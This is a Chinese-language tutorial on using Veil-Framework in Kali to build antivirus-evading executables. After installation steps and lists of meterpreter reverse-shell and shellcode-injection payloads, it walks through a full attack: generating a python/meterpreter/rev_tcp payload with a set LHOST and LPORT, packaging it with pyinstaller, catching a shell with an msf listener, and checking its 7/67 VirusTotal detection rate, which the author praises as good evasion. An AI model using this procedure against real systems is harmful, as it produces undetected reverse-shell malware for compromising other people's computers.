Veil-Framework生成免杀ShellCode

Kali安装Veil-Framework

执行以下命令

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
或者
veil --force --silent

运行Veil-Framework

Kali下直接执行veil即可进入控制台:

exit		退出Veil
info		输出指定模块的详细说明
list		输出可用模块列表
options		输出Veil配置文件信息
update		更新Veil
use		使用指定模块

Veil共有两个可用模块:Evasion和Ordnance

Evasion           生成免杀的可执行文件(exe和其他)
Ordnance          为支持的payload生成shellcode并对其进行编码

Veil-Evasion模块

键入 use Evasion 进入Evasion模块:

back		返回Veil主界面
checkvt		在VT对生成的可执行文件哈希进行检查
clean		清理生成的可执行文件
exit		退出Veil
info	        输出指定payload的说明和配置信息
list		列出所有可用payload
use        	指定一个可用payload,后续可生成对应的可执行文件

可用payload列表:

1)	autoit/shellcode_inject/flat.py

2)	auxiliary/coldwar_wrapper.py
3)	auxiliary/macro_converter.py
4)	auxiliary/pyinstaller_wrapper.py

5)	c/meterpreter/rev_http.py
6)	c/meterpreter/rev_http_service.py
7)	c/meterpreter/rev_tcp.py
8)	c/meterpreter/rev_tcp_service.py

9)	cs/meterpreter/rev_http.py
10)	cs/meterpreter/rev_https.py
11)	cs/meterpreter/rev_tcp.py
12)	cs/shellcode_inject/base64.py
13)	cs/shellcode_inject/virtual.py

14)	go/meterpreter/rev_http.py
15)	go/meterpreter/rev_https.py
16)	go/meterpreter/rev_tcp.py
17)	go/shellcode_inject/virtual.py

18)	lua/shellcode_inject/flat.py

19)	perl/shellcode_inject/flat.py

20)	powershell/meterpreter/rev_http.py
21)	powershell/meterpreter/rev_https.py
22)	powershell/meterpreter/rev_tcp.py
23)	powershell/shellcode_inject/psexec_virtual.py
24)	powershell/shellcode_inject/virtual.py

25)	python/meterpreter/bind_tcp.py
26)	python/meterpreter/rev_http.py
27)	python/meterpreter/rev_https.py
28)	python/meterpreter/rev_tcp.py
29)	python/shellcode_inject/aes_encrypt.py
30)	python/shellcode_inject/arc_encrypt.py
31)	python/shellcode_inject/base64_substitution.py
32)	python/shellcode_inject/des_encrypt.py
33)	python/shellcode_inject/flat.py
34)	python/shellcode_inject/letter_substitution.py
35)	python/shellcode_inject/pidinject.py
36)	python/shellcode_inject/stallion.py

37)	ruby/meterpreter/rev_http.py
38)	ruby/meterpreter/rev_https.py
39)	ruby/meterpreter/rev_tcp.py
40)	ruby/shellcode_inject/base64.py
41)	ruby/shellcode_inject/flat.py

Veil-Ordnance模块

键入 use Ordnance 进入Evasion模块:

back	返回Veil主菜单
exit	退出Veil
list	列出可用的payload或编码方式
use	使用指定的payload

可用Payload列表:

1)	bind_tcp			=> Bind TCP Stager (Stage 1)

2)	rev_http			=> Reverse HTTP Stager (Stage 1)
3)	rev_https			=> Reverse HTTPS Stager (Stage 1)
4)	rev_tcp				=> Reverse TCP Stager (Stage 1)
5)	rev_tcp_all_ports	        => Reverse TCP All Ports Stager (Stage 1)
6)	rev_tcp_dns			=> Reverse TCP DNS Stager (Stage 1)

可用编码方式:

xor => Single byte Xor Encoder

实战:生成免杀的可执行文件,并获取Shell

进入Evasion模块:

查看可用Payload列表,并选择python/meterpreter/rev_tcp.py

Veil/Evasion>: list
Veil/Evasion>: use 28

设置LHOST与LPORT

[python/meterpreter/rev_tcp>>]: set lhost 192.168.75.130
[python/meterpreter/rev_tcp>>]: set lport 9999

使用generate命令生成Python脚本,然后输入生成的文件名和打包方式

[python/meterpreter/rev_tcp>>]: generate

可以看到,打包失败了……不过没关系,Python脚本已经有了,我们可以拷贝到Windows上自己打包

将py脚本copy到Windows主机中,执行利用pyinstaller打包成Windows下的可执行文件:

pyinstaller -F .\test.py
 tips1:   pyinstaller安装方法请见www.pyinstaller.org
tips2:  打包时Python文件所在目录不能包含中文,否则pyinstaller会报错

生成的文件在dist文件夹中

Kali打开msf监听

Windows虚拟机执行刚才打包生成的exe文件,获取Shell成功

VT查一下哈希

检验一下免杀率

检出率7/67,还可以,国产杀软貌似就只有江民能查杀(🐸V5),免杀率还是很不错的。

参考连接:

https://github.com/Veil-Framework/Veil